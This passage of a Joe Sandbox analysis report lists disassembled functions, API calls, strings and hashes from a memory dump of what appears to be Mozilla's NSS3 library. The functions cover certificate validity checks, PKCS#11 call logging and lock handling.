Opcode ID: f291c64bce2f3884d4be070075874d40b72b2145868c76e09144c876ef320ee1
Instruction ID: e2c95eb7b2659a5be6acd9c78a53195bde1bf4a6d0076db63bcde7e0b21b2e56
Opcode Fuzzy Hash: f291c64bce2f3884d4be070075874d40b72b2145868c76e09144c876ef320ee1
Instruction Fuzzy Hash: ECB162B1E052099FEF10CBA5DA45B9E7BB8FF05748F180134E815E7A01E735EA18CBA1

Function 6C6DDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6DDDDE

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C6DDDF5

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6DDE34
PR_Now.NSS3 ref: 6C6DDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C6DDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6DDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6DDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C6DDEF0
PR_smprintf.NSS3(6C80AAF9,(NULL) (Validity Unknown)), ref: 6C6DDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6DDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6DDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6DDF33
free.MOZGLUE(00000000), ref: 6C6DDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6DDF4B
free.MOZGLUE(00000000), ref: 6C6DDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DDF8E

Strings

{???}, xrefs: 6C6DDE8B
(NULL) (Validity Unknown), xrefs: 6C6DDEFA
%s%s, xrefs: 6C6DDEEB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 32ab54526903e64c5d7db46b90d221737cf8ead341b940ebbe51510d500f8f15
Instruction ID: 91481470c16eafec09a9914f68e8046857e008ec06523cc2741c74a39cbc06cb
Opcode Fuzzy Hash: 32ab54526903e64c5d7db46b90d221737cf8ead341b940ebbe51510d500f8f15
Instruction Fuzzy Hash: D151E4B1E002156BDB10AE659D45AAF7BB4EF85358F154438E809EBB01E730E905CBF6

Function 6C70AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C70AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C70AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C70AF83

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C70AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C70AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C70AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C70AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C70B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C70B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C70B041

Strings

hSession = 0x%x, xrefs: 6C70AF5E, 6C70AF6E
pulSignatureLen = 0x%p, xrefs: 6C70B03C
ulParameterLen = 0x%p, xrefs: 6C70AFD4
pData = 0x%p, xrefs: 6C70AFEF
(CK_INVALID_HANDLE), xrefs: 6C70AF7C
pParameter = 0x%p, xrefs: 6C70AFB9
pSignature = 0x%p, xrefs: 6C70B023
ulDataLen = %d, xrefs: 6C70B00A
C_SignMessage, xrefs: 6C70AF41
n~l, xrefs: 6C70B059, 6C70B093

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$n~l
API String ID: 1003633598-2592498988
Opcode ID: eabfeb2950061098bc0c6d45346e6a94fdcfb3a0e008f6744ce91aa12570743c
Instruction ID: 44934203ea3f6bd112a55567f9a91d903b64938262ced3af33781c3203369edb
Opcode Fuzzy Hash: eabfeb2950061098bc0c6d45346e6a94fdcfb3a0e008f6744ce91aa12570743c
Instruction Fuzzy Hash: 3241B1B5701044AFDB208F94DF8CE8A3BB1AB4631DF084834E81857B12DB34AA58DBE5

Function 6C712D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C712DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C712E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C712E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C712E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C6E4F1C,?,-00000001,00000000,?), ref: 6C712E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C6E4F1C,?,-00000001,00000000), ref: 6C712E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C712EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C712EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C712EF8
PR_Unlock.NSS3(?), ref: 6C712F62
TlsGetValue.KERNEL32 ref: 6C712F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C712F9E
PR_Unlock.NSS3(?), ref: 6C712FCA
TlsGetValue.KERNEL32 ref: 6C71301A
EnterCriticalSection.KERNEL32(?), ref: 6C71302E
PR_Unlock.NSS3(?), ref: 6C713066
PR_SetError.NSS3(00000000,00000000), ref: 6C713085
PR_Unlock.NSS3(?), ref: 6C7130EC
TlsGetValue.KERNEL32 ref: 6C71310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C713124
PR_Unlock.NSS3(?), ref: 6C71314C

Part of subcall function 6C6F9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C72379E,?,6C6F9568,00000000,?,6C72379E,?,00000001,?), ref: 6C6F918D
Part of subcall function 6C6F9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C72379E,?,6C6F9568,00000000,?,6C72379E,?,00000001,?), ref: 6C6F91A0

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C71316D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: a429333d27ebd9d17bbed5344f8181594e2c93e282dafb6485df94edfa78920d
Instruction ID: 3f09dc264473f5133818ef12f96feb31b1fe3e20a0d8564922451c45c6903898
Opcode Fuzzy Hash: a429333d27ebd9d17bbed5344f8181594e2c93e282dafb6485df94edfa78920d
Instruction Fuzzy Hash: 17F19EB1E046089FDF10DF68D948B99BBB5FF0A318F184169EC04A7B11E731E995CB91

Function 6C6F9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C6F9FBE

Part of subcall function 6C6D2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6D2F0A
Part of subcall function 6C6D2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6D2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6FA015

Part of subcall function 6C711940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C71563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C71195C
Part of subcall function 6C711940: EnterCriticalSection.KERNEL32(?,?,6C71563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C6EEAC5,00000001), ref: 6C711970
Part of subcall function 6C711940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C6EEAC5,00000001,?,6C6ECE9B,00000001,6C6EEAC5), ref: 6C7119A0

PL_FreeArenaPool.NSS3(?), ref: 6C6FA067
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6FA055

Part of subcall function 6C654C70: TlsGetValue.KERNEL32(?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654C97
Part of subcall function 6C654C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CB0
Part of subcall function 6C654C70: PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FA07E
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6FA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C6FA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C6FA0CF
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6FA12E
PL_FreeArenaPool.NSS3(?), ref: 6C6FA140
PL_FinishArenaPool.NSS3(?), ref: 6C6FA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FA158
PL_FinishArenaPool.NSS3(?), ref: 6C6FA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C6FA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6FA1B2
free.MOZGLUE(00000000), ref: 6C6FA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C6FA1D6

Part of subcall function 6C7155E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C6EEAC5,00000001,?,6C6ECE9B,00000001,6C6EEAC5,00000003,-00000004,00000000,?,6C6EEAC5), ref: 6C715627
Part of subcall function 6C7155E0: PR_CallOnce.NSS3(6C832AA4,6C7312D0,?,?,?,?,?,?,?,?,?,?,6C6EEAC5,00000001,?,6C6ECE9B), ref: 6C71564F
Part of subcall function 6C7155E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6EEAC5,00000001), ref: 6C715661
Part of subcall function 6C7155E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6EEAC5), ref: 6C7156AF

Strings

security, xrefs: 6C6FA00F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 84c9437aae1f5987e43bcc1f710b04568ed92142e3c4c16187032e72362d39ef
Instruction ID: 50b207436314b13a629ef9b7c0f2b322bd7b0c45266598c00f7834be94005fe4
Opcode Fuzzy Hash: 84c9437aae1f5987e43bcc1f710b04568ed92142e3c4c16187032e72362d39ef
Instruction Fuzzy Hash: 19511B71D002095BEB10DBA4ED48BAE7376BF4630CF114534E829ABB43E775D60AC79A

Function 6C706D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C706D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C706DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C706DC3

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C706DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C706DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C706E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C706E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C706E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C706EB9

Strings

hSession = 0x%x, xrefs: 6C706D9E, 6C706DAE
*pulDigestLen = 0x%x, xrefs: 6C706EB4
C_Digest, xrefs: 6C706D81
pDigest = 0x%p, xrefs: 6C706E27
pData = 0x%p, xrefs: 6C706DF5
(CK_INVALID_HANDLE), xrefs: 6C706DBC
ulDataLen = %d, xrefs: 6C706E0E
pulDigestLen = 0x%p, xrefs: 6C706E42
n~l, xrefs: 6C706E61, 6C706E95

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$n~l
API String ID: 1003633598-2267587175
Opcode ID: 13832bcd33d46df0a834796873554e218549f3db57cd74af61e75dbf6bf3aee3
Instruction ID: 5a44d691553967b149791d27046d86861768e470a5c2526ed4bbdd2a4c6df989
Opcode Fuzzy Hash: 13832bcd33d46df0a834796873554e218549f3db57cd74af61e75dbf6bf3aee3
Instruction Fuzzy Hash: D841D475701104AFDB209FA4DF9DA8A3BF5AB8631CF044434E80897712DB34AA89DBD2

Function 6C709C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C709C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C709C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C709CA3

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C709CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C709CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C709CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C709D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C709D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C709D42

Strings

hSession = 0x%x, xrefs: 6C709C7E, 6C709C8E
pPin = 0x%p, xrefs: 6C709CF0
pUsername = 0x%p, xrefs: 6C709D24
ulUsernameLen = %d, xrefs: 6C709D3D
(CK_INVALID_HANDLE), xrefs: 6C709C9C
userType = 0x%x, xrefs: 6C709CD5
C_LoginUser, xrefs: 6C709C61
ulPinLen = %d, xrefs: 6C709D0B
n~l, xrefs: 6C709D5A, 6C709D91

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$n~l
API String ID: 1003633598-772913784
Opcode ID: a482633f0408c0d3ccc63999c083322d5ff12ff7bb03c3b55ec31ea277afc93a
Instruction ID: f0e57db08ed318a448625337916d25254ea83c0ed0c1fe34263073c46c9b6333
Opcode Fuzzy Hash: a482633f0408c0d3ccc63999c083322d5ff12ff7bb03c3b55ec31ea277afc93a
Instruction Fuzzy Hash: 2C41D7B1741144ABDB209F94DF8DE8E3BF1AB5630EF444834E80867712DB34A918DBD1

Function 6C714C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C714C4C
EnterCriticalSection.KERNEL32(?), ref: 6C714C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C714CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C714CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C714CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C714D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C714D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C714DB7

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

TlsGetValue.KERNEL32 ref: 6C714DD7
EnterCriticalSection.KERNEL32(?), ref: 6C714DEC
PR_Unlock.NSS3(?), ref: 6C714E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C714E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C714E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C714E71
free.MOZGLUE(00000000), ref: 6C714E7A
PR_Unlock.NSS3(?), ref: 6C714EA2
TlsGetValue.KERNEL32 ref: 6C714EC1
EnterCriticalSection.KERNEL32(?), ref: 6C714ED6
PR_Unlock.NSS3(?), ref: 6C714F01
free.MOZGLUE(00000000), ref: 6C714F2A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: c2b1690c140e3be96ff51c0df43312f704b8cb5fbd9bc85a511026c7e41a47e3
Instruction ID: 9cfa263613a05681f65909d9c9b3c5d4ce76a5d7aa5c1c59b58904516390ccf8
Opcode Fuzzy Hash: c2b1690c140e3be96ff51c0df43312f704b8cb5fbd9bc85a511026c7e41a47e3
Instruction Fuzzy Hash: E9B1F075A042059FEF10DF68D949AAA77B8BF4931CF084138ED0597B01E734E964CBE1

Function 6C71FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C71FFB4

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C71FFC6

Part of subcall function 6C7998D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C799946
Part of subcall function 6C7998D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6516B7,00000000), ref: 6C79994E
Part of subcall function 6C7998D0: free.MOZGLUE(00000000), ref: 6C79995E

PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C71FFD6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C71FFE6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C71FFF6
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720006
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720016
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720026
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720036
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720046
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720056
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720066
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720076
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720086
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C720096
PR_NewLock.NSS3(?,?,6C7176C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E75C2,00000000), ref: 6C7200A6
